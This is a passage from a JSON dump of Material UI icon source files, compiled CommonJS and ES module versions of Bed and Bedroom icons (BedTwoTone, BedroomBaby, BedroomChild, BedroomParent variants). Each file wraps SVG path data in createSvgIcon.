    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v2h6zm-8 0c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v2h6zm8 4H5c-.55 0-1 .45-1 1v2h16v-2c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M13 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2h-6zM5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm15 7H4v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\")], 'BedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v2h6zm-8 0c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v2h6zm8 4H5c-.55 0-1 .45-1 1v2h16v-2c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M13 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2h-6zM5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm15 7H4v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\")], 'BedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBaby.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 16c-2.64 0-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51l-1.55.99-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBaby');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBaby.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 16c-2.64 0-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51l-1.55.99-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBaby');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.94 14.04c-.34.34-.71.64-1.1.92L16 13.5V11h1v-1h-5.62L9.65 7H6l1 .76L5.5 9.5l.95 1L8 9.51v3.99l-.84 1.46c-.39-.27-.76-.58-1.1-.92L5 15.1c1.87 1.87 4.36 2.9 7 2.9s5.13-1.03 7-2.9zm-9.49 1.67.03-.06.81-1.41c1.74.65 3.66.65 5.4 0l.81 1.41.03.06c-1.1.51-2.3.79-3.55.79s-2.43-.27-3.53-.79M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'BedroomBabyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.94 14.04c-.34.34-.71.64-1.1.92L16 13.5V11h1v-1h-5.62L9.65 7H6l1 .76L5.5 9.5l.95 1L8 9.51v3.99l-.84 1.46c-.39-.27-.76-.58-1.1-.92L5 15.1c1.87 1.87 4.36 2.9 7 2.9s5.13-1.03 7-2.9zm-9.49 1.67.03-.06.81-1.41c1.74.65 3.66.65 5.4 0l.81 1.41.03.06c-1.1.51-2.3.79-3.55.79s-2.43-.27-3.53-.79M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'BedroomBabyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 15.99c-2.37 0-4.61-.83-6.4-2.35-.33-.28-.35-.8-.04-1.11.27-.27.71-.29 1.01-.04.19.16.39.31.6.46L8 13.49V9.5l-1 .65c-.32.21-.73.16-.99-.12L6 10.01c-.29-.3-.3-.77-.03-1.08.3-.33.65-.74.86-.98.09-.11.07-.28-.04-.36 0 0-.81-.31-.79-.57 0-.11 3.36-.03 3.36-.03.18 0 .34.1.43.25l1.44 2.5c.09.15.25.25.43.25h4.83c.28 0 .5.22.5.5s-.22.5-.5.5H16v2.5l.84 1.46c.2-.15.4-.3.6-.46.3-.25.73-.23 1.01.04.31.31.29.82-.04 1.11-1.8 1.52-4.04 2.35-6.41 2.35\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBabyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 15.99c-2.37 0-4.61-.83-6.4-2.35-.33-.28-.35-.8-.04-1.11.27-.27.71-.29 1.01-.04.19.16.39.31.6.46L8 13.49V9.5l-1 .65c-.32.21-.73.16-.99-.12L6 10.01c-.29-.3-.3-.77-.03-1.08.3-.33.65-.74.86-.98.09-.11.07-.28-.04-.36 0 0-.81-.31-.79-.57 0-.11 3.36-.03 3.36-.03.18 0 .34.1.43.25l1.44 2.5c.09.15.25.25.43.25h4.83c.28 0 .5.22.5.5s-.22.5-.5.5H16v2.5l.84 1.46c.2-.15.4-.3.6-.46.3-.25.73-.23 1.01.04.31.31.29.82-.04 1.11-1.8 1.52-4.04 2.35-6.41 2.35\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBabyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zM12 18c-2.64 0-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51l-1.55.99-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBabySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zM12 18c-2.64 0-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51l-1.55.99-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 14.24c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79l-.03-.06z\"\n}, \"1\")], 'BedroomBabySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm2.45-9.5-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9s-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.53 15.71-.03-.06-.81-1.41c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.16 14.96c-.39-.27-.76-.58-1.1-.92L5 15.1c1.87 1.87 4.36 2.9 7 2.9s5.13-1.03 7-2.9l-1.06-1.06c-.34.34-.71.64-1.1.92L16 13.5V11h1v-1h-5.62L9.65 7H6l1 .76L5.5 9.5l.95 1L8 9.51v3.99zm1.32.69.81-1.41c1.74.65 3.66.65 5.4 0l.81 1.41.03.06c-1.1.51-2.3.79-3.55.79s-2.43-.27-3.53-.79z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"3\")], 'BedroomBabyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomBabyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm2.45-9.5-.95-1L7 7.76 6 7h3.65l1.73 3H17v1h-1v2.5l.84 1.46c.39-.28.76-.58 1.1-.92L19 15.1c-1.87 1.87-4.36 2.9-7 2.9s-5.13-1.03-7-2.9l1.06-1.06c.34.34.71.65 1.1.92L8 13.5V9.51z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.53 15.71-.03-.06-.81-1.41c-1.74.65-3.66.65-5.4 0l-.81 1.41-.03.06c1.1.52 2.28.79 3.53.79s2.45-.28 3.55-.79\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.16 14.96c-.39-.27-.76-.58-1.1-.92L5 15.1c1.87 1.87 4.36 2.9 7 2.9s5.13-1.03 7-2.9l-1.06-1.06c-.34.34-.71.64-1.1.92L16 13.5V11h1v-1h-5.62L9.65 7H6l1 .76L5.5 9.5l.95 1L8 9.51v3.99zm1.32.69.81-1.41c1.74.65 3.66.65 5.4 0l.81 1.41.03.06c-1.1.51-2.3.79-3.55.79s-2.43-.27-3.53-.79z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"3\")], 'BedroomBabyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChild.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.5h6v2H9zm6.64 3.5H8.37c-.48 0-.87.39-.87.87h.01V14h9v-1.13c0-.48-.39-.87-.87-.87\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 15h-1.5v-1.5h-9V17H6v-4.13c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2z\"\n}, \"1\")], 'BedroomChild');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChild.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.5h6v2H9zm6.64 3.5H8.37c-.48 0-.87.39-.87.87h.01V14h9v-1.13c0-.48-.39-.87-.87-.87\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 15h-1.5v-1.5h-9V17H6v-4.13c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2z\"\n}, \"1\")], 'BedroomChild');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.5 8.67V9c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v1.67c-.88.35-1.5 1.2-1.5 2.2V17h1.5v-1.5h9V17H18v-4.13c0-1-.62-1.85-1.5-2.2M15 8.5v2H9v-2zm-7.5 4.37c0-.48.39-.87.87-.87h7.27c.48 0 .87.39.87.87V14h-9v-1.13z\"\n}), 'BedroomChildOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.5 8.67V9c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v1.67c-.88.35-1.5 1.2-1.5 2.2V17h1.5v-1.5h9V17H18v-4.13c0-1-.62-1.85-1.5-2.2M15 8.5v2H9v-2zm-7.5 4.37c0-.48.39-.87.87-.87h7.27c.48 0 .87.39.87.87V14h-9v-1.13z\"\n}), 'BedroomChildOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.5h6v2H9zm6.64 3.5H8.37c-.48 0-.87.39-.87.87h.01V14h9v-1.13c0-.48-.39-.87-.87-.87\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.75 15c-.41 0-.75-.34-.75-.75v-.75h-9v.75c0 .41-.34.75-.75.75S6 16.66 6 16.25v-3.38c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2v3.38c0 .41-.34.75-.75.75\"\n}, \"1\")], 'BedroomChildRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.5h6v2H9zm6.64 3.5H8.37c-.48 0-.87.39-.87.87h.01V14h9v-1.13c0-.48-.39-.87-.87-.87\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.75 15c-.41 0-.75-.34-.75-.75v-.75h-9v.75c0 .41-.34.75-.75.75S6 16.66 6 16.25v-3.38c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2v3.38c0 .41-.34.75-.75.75\"\n}, \"1\")], 'BedroomChildRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.5h6v2H9zM7.51 12h9v2h-9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-4 15h-1.5v-1.5h-9V17H6v-6.32l1.5-.01V7h9v3.67H18z\"\n}, \"1\")], 'BedroomChildSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.5h6v2H9zM7.51 12h9v2h-9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-4 15h-1.5v-1.5h-9V17H6v-6.32l1.5-.01V7h9v3.67H18z\"\n}, \"1\")], 'BedroomChildSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm2-7.13c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2V17h-1.5v-1.5h-9V17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 15.5h9V17H18v-4.13c0-1-.62-1.85-1.5-2.2V9c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v1.67c-.88.35-1.5 1.2-1.5 2.2V17h1.5zm1.5-7h6v2H9zM8.37 12h7.27c.48 0 .87.39.87.87V14h-9v-1.13H7.5c0-.48.39-.87.87-.87\"\n}, \"2\")], 'BedroomChildTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomChildTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm2-7.13c0-1 .62-1.85 1.5-2.2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v1.67c.88.35 1.5 1.2 1.5 2.2V17h-1.5v-1.5h-9V17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 15.5h9V17H18v-4.13c0-1-.62-1.85-1.5-2.2V9c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v1.67c-.88.35-1.5 1.2-1.5 2.2V17h1.5zm1.5-7h6v2H9zM8.37 12h7.27c.48 0 .87.39.87.87V14h-9v-1.13H7.5c0-.48.39-.87.87-.87\"\n}, \"2\")], 'BedroomChildTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12h-9c-.55 0-1 .45-1 1v1h11v-1c0-.55-.45-1-1-1M7.25 8.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15h-1.5v-1.5h-11V17H5v-3.83c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72z\"\n}, \"1\")], 'BedroomParent');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12h-9c-.55 0-1 .45-1 1v1h11v-1c0-.55-.45-1-1-1M7.25 8.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15h-1.5v-1.5h-11V17H5v-3.83c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72z\"\n}, \"1\")], 'BedroomParent');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentOutlined.js",
